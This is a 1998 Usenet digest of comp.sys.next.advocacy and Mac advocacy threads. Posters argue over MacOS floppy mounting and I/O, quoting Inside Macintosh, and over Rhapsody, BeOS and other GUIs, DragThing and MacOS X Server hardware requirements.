References: <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com> <atlauren-2108981908570001@jungleland.acs.uci.edu> <35E02675.2083D9CC@spamtoNull.com> <gmgraves-2308981628590001@sf-usr1-42-170.dialup.slip.net> <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rqtpo$p7k$1@nnrp1.dejanews.com> <gmgraves-2408981002580001@sf-usr1-38-166.dialup.slip.net> <35E1AC7F.B1A872BE@ericsson.com> <1de9v5u.1nz0xll18s12pjN@roxboro0-009.dyn.interpath.net>
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John Moreno wrote:
> Say what? You want to unpack that a little and site your source for it?
> It sounds silly.
The source is Inside Macintosh: Files. Chapter 2 - File Manager.
Subsection Volume Manipulation. Page 76.
<quote>
When the Event Manager function WaitNextEvent (or GetNextEvent) receives
a disk-inserted event, it calls the Desk Manager function SystemEvent.
The Desk Manager in turn calls the File Manager function PBMountVol,
which attempts to mount the volume on the disk. The result of the
PBMountVol call is put into the high-order word of the event message,
and the drive number is put into its low-order word. If the result code
indicates that an error occurred, you need to call the Disk
Initialization Manager routine DIBadMount to allow the user to
initialize or eject the volume. For details, see the chapter "Disk
Initialization Manager" in this book.
</quote>
Whew, disco flashback.
<quote>
You can unmount or place offline any volumes that aren't currently being
used. To unmount a volume, call UnmountVol, which flushes a volume (by
calling FlushVol) and releases all of the memory it uses. To place a
volume offline, call PBOffLine, which flushes a volume and releases all
of the memory used for it except for the volume control block. The File
Manager places offline volumes online as needed, but your application
must remount any unmounted volumes it wants to access. The File Manager
itself may place volumes offline during its normal operation.
</quote>
In other words, the programmer has access to mount/unmount behavior, but
the user doesn't.
Furthermore:
<quote>
If you make a call to an offline volume, the File Manager displays the
disk switch dialog box and waits for the user to reinsert the disk
containing the volume. When the user inserts the required disk, the File
Manager mounts the volume and then reissues your original call. To avoid
presenting the user with numerous disk switch dialog boxes, you might
need to check that a volume is online before attempting to access data
on it.
</quote>
Wouldn't that be nice? It goes on:
<quote>
To protect against data loss due to power interruption or unexpected
disk ejection, you should periodically call FlushVol (probably after
each time you close a file), which writes the contents of the volume
buffer and all access path buffers (if any) to the volume and updates
the descriptive information contained on the volume.
</quote>
Closing files should *always* flush buffers associated with that file,
regardless of the destination.
But it isn't fair to criticize the volume manager without pointing out
that the extension manager can't dynamically load different filesystem
modules, and that's a major performance/stability hit. And, of course,
the MacOS is totally unequipped for backgrounding I/O tasks like a
filesystem mount, which is the real source of the disk-insert wait
(although it's exacerbated by all the luggage associated with most disk
inserts).
Not to worry. I'm sure whatever problems arise will be cleared out with
the next reboot. That will be any moment now, yes?
MJP
From: Patrick O'Neil <patrick@howard.genetics.utah.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 24 Aug 1998 16:03:25 +0000
Organization: University of Utah - ACLIS
Message-ID: <35E18ECD.1FF6@howard.genetics.utah.edu>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net> <6rkr4s$idn$1@nnrp1.dejanews.com> <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net>
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George Graves wrote:
[...]
> > > MacOS is the best user experience in computers. It is also the most
> > > productive OS. This has been proven many times.
> >
I wont buy this ever. I hate the MacOS GUI. It is stagnant - the same
old look and feel that it had at its inception. It was (and is) NOT
perfect so it CAN use updating and improvement.
> > Has the Mac OS been tested agains OpenStep?
>
> OpenStep is passe and will soon BE the Mac OS-X. I have fooled with Rhapsody
> in its two DR releases and it is NOT as polished as MacOS. Better than
> Windows maybe, but it still has more UNIX sticking out of it than it does
> MacOS even though it looks and feels a lot like MacOS.
The Unix sticking out makes it sound more interesting and better by a
long
shot. If you really want a MODERN, SUPERIOR, and UPDATED GUI for a Mac,
the BeOS is the way to go.
On PCs, several of the window managers for linux (Gnome, KDE, fvwm,
fvwm2,
olvm, icewm, Windowmaker, are great - and the OS/2 Warp WPS GUI is so
close
to perfection that it is hard to imagine doing anything better (object
oriented
thru and thru, nice look, nice consistent and logical layout). Icewm
for
linux borrows heavily from the OS/2 WPS.
MacOS is early 80s technology look and feel today!! Enjoy a retro os
experience with late 90s hardware!!
I wont discuss Win95/98/NT because their GUI is not even in the same
ballpark as the real GUIs I mentioned, but at least it is better than
the 3.1 interface...sortof.
patrick
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
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Cc: Michael.Peck@ericsson.com
Organization: none
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1AC7F.B1A872BE@ericsson.com>
<Ey7nFp.2uK@T-FCN.Net> <35E1D93F.6F4892A4@ericsson.com>
<6rsm1j$ot6@newsb.netnews.att.com> <35E1E5BD.573CEBAB@ericsson.com>
Mime-Version: 1.0
Date: Mon, 24 Aug 1998 23:01:23 GMT
In <35E1E5BD.573CEBAB@ericsson.com> Michael Peck wrote:
> gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> > Perhaps, in theory. Haven't had any problems in practice.
>
> Remarkable!
>
> With regard to the speed of I/O operations, Apple writes:
So now the thread is about I/O performance? I thought it was about polling
the floppy and how it both caused crashes and was "unusable".
By the way, if Arun says something, assume it to be correct.
> I assume you caught the "synchronously" in there, right? That means that
> while MacOS is suffering under the burden of I/O problems described in
> this (extremely) modest survey, the user is *waiting*.
Ahhh, so it IS a performance thread now!
> user has little or no choice as to how or when this takes place, apart
> from inserting the disk.
*coff* Well when else would they?!
> Basically, the user has the bare minimum of control over how the
> Macintosh uses floppies, and the Macintosh is doing it as poorly as
> possible.
Yeah, whatever.
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 24 Aug 1998 17:14:21 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E1E5BD.573CEBAB@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1AC7F.B1A872BE@ericsson.com> <Ey7nFp.2uK@T-FCN.Net> <35E1D93F.6F4892A4@ericsson.com> <6rsm1j$ot6@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> Perhaps, in theory. Haven't had any problems in practice.
Remarkable!
With regard to the speed of I/O operations, Apple writes:
<quote>
The Macintosh File Manager's input/output programming interface hasn't
changed much since 1984. There are a half dozen new ways to open a file,
but when it gets down to accessing the data in a file, you still end up
using the same read and write calls the Macintosh started with. Since
little has changed, most Macintosh programmers pay little or no
attention to how their programs
access files until they find the overall performance of their program
depends on file access speed. This Note shows you how to get the best
throughput from the Macintosh file system using a variety of techniques.
</quote>
In the conclusion, Apple writes:
<quote>
Implementing the suggestions in this note -- increasing the size of your
I/O requests, block aligning your I/O requests, and using the File
Manager's cache to your advantage -- will increase the performance of
your file I/O and possibly the file system performance of the whole
Macintosh system. In addition, you may want to examine how and why you
flush files or volumes, and preallocate space for new files.
</quote>
The whole system, no kidding? One programmer's techniques will affect
the entire system's I/O performance. Very interesting.
<quote>
DESCRIPTION
The PBMountVol function mounts the volume in the specified drive. If
there are no volumes already mounted, this volume becomes the default
volume.
Because you specify the volume to be mounted by providing a drive
number, you can use PBMountVol to mount only one volume per disk.
The PBMountVol function always executes synchronously.
</quote>
I assume you caught the "synchronously" in there, right? That means that
while MacOS is suffering under the burden of I/O problems described in
this (extremely) modest survey, the user is *waiting*. What's more, the
user has little or no choice as to how or when this takes place, apart
from inserting the disk. The user cannot force ejection without almost
certainly leaving behind dirty file buffers, as we've already covered.
Basically, the user has the bare minimum of control over how the
Macintosh uses floppies, and the Macintosh is doing it as poorly as
possible.
MJP
From: openbrain@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 24 Aug 1998 23:57:59 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rsum7$5gp$1@nnrp1.dejanews.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <6rkhub$705$1@nnrp1.dejanews.com> <joe.ragosta-2108981911390001@elk120.dol.net> <6rlvbo$ro7$1@nnrp1.dejanews.com> <joe.ragosta-2208980716450001@elk62.dol.net>
In article <joe.ragosta-2208980716450001@elk62.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6rlvbo$ro7$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>
> > In article <joe.ragosta-2108981911390001@elk120.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > > That's nice.
> > >
> > > Of course, it has nothing to do with the topic.
> > >
> > > Every time you actually _measure_ one OS against the others, Mac OS wins.
> > > Your personal preference isn't very easily measurable.
> >
> > What measurements are you referring too? The ones on you website? None of
> > those studies seemed particularly relevant to me. Your favorite compares
> > Windows 3.1 with the Mac OS! That study is no longer relevant. The next one
>
> Wrong. The ones I quote most recently are Gistics and Microsoft--both of
> which compare Mac OS to Win95 and NT.
>
> > is a comparison when doing graphics tasks. That isn't terribly relevant to
> > me. The one after that compares ease of use which is irrelevant to anyone
who
> > knows how to use both expertly. It stated, however, that "[The MacOS is]
> > slightly more usable than Windows 95." I am not sure if that means that it
is
> > easier to use or more productive. In any case, it was an opinion not a
study.
> > The one after that is full of broken links so I couldn't look at it. The one
> > after that also refers only to Windows 3.1 and is an explanation not a
study.
> >
> > So, unless you can refer me to a study which compares the productivity of NT
4
> > vs the Mac OS for the expert user familiar with both, I will have to go with
> > the one which I find is most productive.
>
> See Gistics.
>
> The point is that there's an overwhelming mountain of evidence. You find a
> minor complaint about each one while ignoring the fact that the mountain
> of evidence is all saying the same thing--that Macs are easier to use,
> more productive, and less expensive than PCs.
>
> In spite of your criticisms, I have dozens of links to support my
> position. You have exactly ZERO. NONE. NADA. ZIP.
>
> --
> Regards,
>
> Joe Ragosta
> See the Complete Macintosh Advocacy Page
> http://www.dol.net/~Ragosta/complmac.htm
>
Links to support contrived opinions. Your lightwave Arg sucks! I use
lightwave 5.0 intel and lightwave 5.0 macintosh daily. The mac version's
interface is insainly slow. The renderer is slow, screamernet is a huge cycle
pig (can barly open a control panel while it renders). Quickdraw3D crashes my
machine relentlessly (i think of that wonderfuly elegant software powerswitch
everytime I have to FUCKING unplug the mac after a quickdraw3D lockup). My
experiance with NT Alpha and NT intel versions have been rocksolid NEVER EVER
crashes (ok twice in a YEAR!). Modern OSes don't behave as the mac does.
if you can do all of these symoltaniously:
1. send gigabyte files size over 100baseT
2. recieve gigabyte size files over 100baseT
3. FTP something
4. Play 2 475X240 cinepak quicktime movies forwards and backwards in realtime
(not 15 fps)
5. Render LWSN in the background
6. Edit a director movie (doing this in the foreground)
7. Batch process images using actions in photoshop
8. Move files from one local drive to another
9. serve an apple-talk network AND a Netbuei network
10. play a 30K poly smooth shaded GL demo
you are not using a macintosh.
(well you would be using a very tuned workstation with at least 128mb of ram
for the above task)
StUdIeS! how 'bout real life applications like the movie "titanic" and yahoo
WWW search engine!
your NT heathen,
scott yanntell
cheit!
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 24 Aug 98 17:12:14 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2074F76-27D59@206.165.43.18>
References: <Ey7AxH.JG7@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <6rm0p9$tai$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
>> > Since currently, menu-selection freezes foreground tasks in Rhapsody
>(or
>> > did, last I heard), menu-handling wouldn't need to change at all, only
>> > windows-handling.
>>
>> That is a definate change for the worse from OpenStep.
>
> I tested this because I thought it would be odd. It is odd. CD
player's
>clock continues to update for instance, but OmniWeb stops filling the
>window.
> I think there may be more to this.
Is this actually different from how OpenSTep operates? I was under the
impression that this was because of the single DPS context per app model
that was being used. If so, then the change to the "PDF" graphics model
should change this since one could assign a specific viewport to a window
and another to the menus and so on.
Of course, a GX-like retained mode engine would be even better here, and
I'm hopeful that YB will eventually get a Taligent-like library that allows
pre-emptive multi-threading of the type that Eric King and I were talking
about via some flavor of GX, but right now, isn't it true that
NeXTstep/OpenStep apps show this behavior (freezing of front process when
menu is selected) as well as Rhapsody apps?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 24 Aug 1998 17:17:25 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2408981717260001@sf-usr1-57-185.dialup.slip.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net> <6rkr4s$idn$1@nnrp1.dejanews.com> <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net> <35E18ECD.1FF6@howard.genetics.utah.edu>
In article <35E18ECD.1FF6@howard.genetics.utah.edu>, Patrick O'Neil
<patrick@howard.genetics.utah.edu> wrote:
> George Graves wrote:
> [...]
> > > > MacOS is the best user experience in computers. It is also the most
> > > > productive OS. This has been proven many times.
> > >
>
> I wont buy this ever. I hate the MacOS GUI. It is stagnant - the same
> old look and feel that it had at its inception. It was (and is) NOT
> perfect so it CAN use updating and improvement.
Now, you tell me where ANYONE has said that the Mac didn't have
room for improvement? Of course it needs improving. There are a
lot of things that Windows does better than the Mac even (like
allow an ethernet connection AND a dial-up modem connection
via a comm port simultaneously.), but when everything is put
together, the things that make an OS productive, the Mac does
better. Its just fact!
>
> > > Has the Mac OS been tested agains OpenStep?
> >
> > OpenStep is passe and will soon BE the Mac OS-X. I have fooled with Rhapsody
> > in its two DR releases and it is NOT as polished as MacOS. Better than
> > Windows maybe, but it still has more UNIX sticking out of it than it does
> > MacOS even though it looks and feels a lot like MacOS.
>
> The Unix sticking out makes it sound more interesting and better by a
> long
> shot. If you really want a MODERN, SUPERIOR, and UPDATED GUI for a Mac,
> the BeOS is the way to go.
Not really. Many things that Mac users take for granted (like internet
setup, for instance), don't work as smoothly or as intuitively as they
do on MacOS. A lot of finder 'convenience' is missing, and the system
is just more fussy. Hopefully, OS-X will change all of that.
>
> On PCs, several of the window managers for linux (Gnome, KDE, fvwm,
> fvwm2,
> olvm, icewm, Windowmaker, are great - and the OS/2 Warp WPS GUI is so
> close
> to perfection that it is hard to imagine doing anything better (object
> oriented
> thru and thru, nice look, nice consistent and logical layout). Icewm
> for
> linux borrows heavily from the OS/2 WPS.
>
> MacOS is early 80s technology look and feel today!! Enjoy a retro os
> experience with late 90s hardware!!
>
> I wont discuss Win95/98/NT because their GUI is not even in the same
> ballpark as the real GUIs I mentioned, but at least it is better than
> the 3.1 interface...sortof.
See, here's where we differ. I don't find fvwm or fvwn2 or Xfree86 or
any of those x-windows GUIs/file managers to be even AS GOOD as
Win3.1, much less Win95/8/NT or MacOS. I agree with you about OS/2,
but that's pretty useless at this point in time. An OS has to be supported
to be any good. Believe me, If IBM had continued to support OS/2 so that
it could run Win32 programs, I'd have jumped ship from Mac to OS/2
already.
George Graves
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 25 Aug 1998 00:24:51 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6rt08j$pfk@newsb.netnews.att.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1D93F.6F4892A4@ericsson.com> <6rsm1j$ot6@newsb.netnews.att.com> <35E1E5BD.573CEBAB@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>
> [much snipped]
>
>I assume you caught the "synchronously" in there, right? That means that
>while MacOS is suffering under the burden of I/O problems described in
>this (extremely) modest survey, the user is *waiting*. What's more, the
>user has little or no choice as to how or when this takes place, apart
>from inserting the disk. The user cannot force ejection without almost
>certainly leaving behind dirty file buffers, as we've already covered.
>Basically, the user has the bare minimum of control over how the
>Macintosh uses floppies, and the Macintosh is doing it as poorly as
>possible.
Don't get me wrong -- I agree that the MacOS has ugly internals, and
can use a whole lot of sprucing up. But -- speaking from experience --
it hasn't mattered (so far).
-arun gupta
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 24 Aug 1998 21:32:29 -0400
Organization: phenix@interpath.com
Message-ID: <1deaaqp.18lo8u6njb6m4N@roxboro0-009.dyn.interpath.net>
References: <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com> <atlauren-2108981908570001@jungleland.acs.uci.edu> <35E02675.2083D9CC@spamtoNull.com> <gmgraves-2308981628590001@sf-usr1-42-170.dialup.slip.net> <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rqtpo$p7k$1@nnrp1.dejanews.com> <gmgraves-2408981002580001@sf-usr1-38-166.dialup.slip.net> <35E1AC7F.B1A872BE@ericsson.com> <1de9v5u.1nz0xll18s12pjN@roxboro0-009.dyn.interpath.net> <35E1DDCE.1273F262@ericsson.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy Michael Peck wrote:
] John Moreno wrote:
]
] > Say what? You want to unpack that a little and site your source for
] > it? It sounds silly.
]
] The source is Inside Macintosh: Files. Chapter 2 - File Manager.
] Subsection Volume Manipulation. Page 76.
]
] <quote>
]
] When the Event Manager function WaitNextEvent (or GetNextEvent)
] receives a disk-inserted event, it calls the Desk Manager function
] SystemEvent. The Desk Manager in turn calls the File Manager function
] PBMountVol,
-snip-
] </quote>
]
] Whew, disco flashback.
>
] <quote>
]
] You can unmount or place offline any volumes that aren't currently
] being used. To unmount a volume, call UnmountVol, which flushes a
] volume (by calling FlushVol) and releases all of the memory it uses.
] To place a volume offline, call PBOffLine, which flushes a volume and
] releases all of the memory used for it except for the volume control
] block. The File Manager places offline volumes online as needed, but
] your application must remount any unmounted volumes it wants to
] access. The File Manager itself may place volumes offline during its
] normal operation.
]
] </quote>
]
] In other words, the programmer has access to mount/unmount behavior,
] but the user doesn't.
The user has access to mount/umount behavior by way of the finder and
simply inserting the disk. I consider this a plus.
] Furthermore:
]
] <quote>
]
] If you make a call to an offline volume, the File Manager displays the
] disk switch dialog box and waits for the user to reinsert the disk
] containing the volume. When the user inserts the required disk, the
] File Manager mounts the volume and then reissues your original call.
] To avoid presenting the user with numerous disk switch dialog boxes,
] you might need to check that a volume is online before attempting to
] access data on it.
]
] </quote>
]
] Wouldn't that be nice? It goes on:
Yes, this applies to your point about about accessing file system data
and determining whether it is safe to do so. But this doesn't need to
be done before each read/write which is what you implied and it doesn't
need to be done at all if you're not worried about them having to the
old one, two, one, two disk tango - which I for one stopped worrying
about over a decade ago.
] <quote>
]
] To protect against data loss due to power interruption or unexpected
] disk ejection, you should periodically call FlushVol (probably after
-snip-
] Closing files should *always* flush buffers associated with that file,
] regardless of the destination.
Agreed.
This is definitely a flaw in the system - but it's not (as you point
out) exclusive to removable disk.
-snip-
] Not to worry. I'm sure whatever problems arise will be cleared out
] with the next reboot. That will be any moment now, yes?
Yes.
--
John Moreno
From: andrew@bytecentre.com.au (Andrew Wright)
Newsgroups: comp.sys.next.advocacy
Subject: Dragthing being ported? Was: Re: docks in OSX
Date: Tue, 25 Aug 1998 11:45:07 +1000
Organization: The Byte Centre
Message-ID: <andrew-2508981145360001@192.168.1.74>
References: <6riqlj$14n$1@news.digifix.com> <alex-1908981239120001@castle.webis.net> <1998082002171700.WAA05274@ladder03.news.aol.com> <alex-2008980843070001@castle.webis.net> <6rhqbi$qjq$1@nnrp1.dejanews.com> <6rmb7s$lok$3@sibyl.sunrise.ch>
NNTP-Posting-Date: 25 Aug 1998 01:43:42 GMT
In article <6rmb7s$lok$3@sibyl.sunrise.ch>, marmier4@hei.unige.ch wrote:
> >
> > Fiend is already running on Rhapsody DR2. It works pretty
> > good, still has a few missing features, but I no longer miss the Dock
> > on Mac OS X Server as a result of it being available.
>
> Same for me, except it doesn't provide the alignement of running apps at
the bottom of the screen, and that's THE feature I miss!
>
> Raph
What are the odds of getting DragThing ported? (James?) I use its process
dock and other docks constantly. It's always the first thing to get
reinstalled after a clean install :-)
--
Regards,
Andrew Wright.
Message-ID: <35E21DA7.E28EA8F2@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <joe.ragosta-2108980750200001@wil89.dol.net> <35DDBACB.58812391@cisco.com> <atlauren-2108981908570001@jungleland.acs.uci.edu> <35E02675.2083D9CC@spamtoNull.com> <atlauren-2408981331520001@jungleland.acs.uci.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Mon, 24 Aug 1998 22:12:55 -0400
NNTP-Posting-Date: Tue, 25 Aug 1998 02:06:55 GMT
Organization: MCI2000
Andrew Laurence wrote:
> >
> >Well, I could buy from Micron, Dell or Compaq if I choose.
>
> Yes, you could. And you just increased the your purchase process time
> (investment) by a factor of 300%. Not productive.
Only in this forum would the suggestion of choice in the marketplace be
branded as "not productive"...:)
>
> Historically, Apple makes excellect choices in their components. Their
> track record in this regard is one of the reasons I buy their products;
> they do quite a good job (even in their most sucking years) which means
> that I don't have to spend the time researching, etc.. Thus I save money.
Which is certainly fine when you abdicate choice to a "higher
power".....:)
>
> And once again, the current desktop hardware enclosures allow for RAM
> upgrades in 30 seconds, PCI card installs in 1 minute. Every time one of
> these tasks is necessary, I save from $50-$100 in billable staff time.
> That's productive.
>
And of course it is so "productive" to toss the iMac into the garbage
when its motherboard components become either obsolete and/or inadequate
for the software you'd like to throw at it. This is a peculiar
sentiment, I think.
From: "David Fagan" <DaveF@CathedralRiver.com>
Newsgroups: comp.sys.next.advocacy
Subject: Requirements for MacOS X Server on Intel....
Message-ID: <%EpE1.262$ej4.6075197@news.rdc1.mi.home.com>
Date: Tue, 25 Aug 1998 02:51:39 GMT
NNTP-Posting-Date: Mon, 24 Aug 1998 19:51:39 PDT
Organization: @Home Network
Does anyone know what the hardware requirements of MacOS X Server is on
Intel? Does it need a PCI graphics card? What kind of processor....how
much RAM...etc...etc.... Thanks for any help.
Dave Fagan
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 25 Aug 1998 05:52:20 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6rtjek$e7t@news1.panix.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com> <6rk08i$6ur$2@lwnws01.ne.highway1.com> <6rkh6m$666$1@nnrp1.dejanews.com> <6rmjvi$41l$1@lwnws01.ne.highway1.com> <6rn6ea$42n$1@nnrp1.dejanews.com> <6rnjl3$pmt$2@lwnws01.ne.highway1.com> <6rq3f1$jp0@news1.panix.com> <6rqqk1$oae$1@lwnws01.ne.highway1.com>
On 24 Aug 1998 04:36:17 GMT, John Kheit <jkheit@mediaone.net> wrote:
>> from Pascal? No need to convert anything. I do this under Delphi all
>> the time. (You do have to build a header file or a wrapper, but you
>> might have to do that under ObjC/YB as well. YMMV)
>Yes you can do that, but there are times when you need to modify the code,
>and it just becomes less flexible doing the library thing.
If you do it right, you can keep a goo deal of source code compatibility
with the lib you are borrowing from. As it gets updated, you can quickly
update your project. If anyone want to hear my whine about some god-awful
porting daymares that wouldn't have existed if we just kept the code in
its native project, feel free to ask.
> It doesn't offer
>as much flexibility to cut and snip throughout the project. But oftimes it
>is a pretty cool solution.
I find the cut&paste solution to be good in the short term, but a nightmare
if the source you are borrowing from gets changed.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Followup-To: talk.politics.libertarian
Date: 25 Aug 1998 06:02:20 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6rtk1c$ega@news1.panix.com>
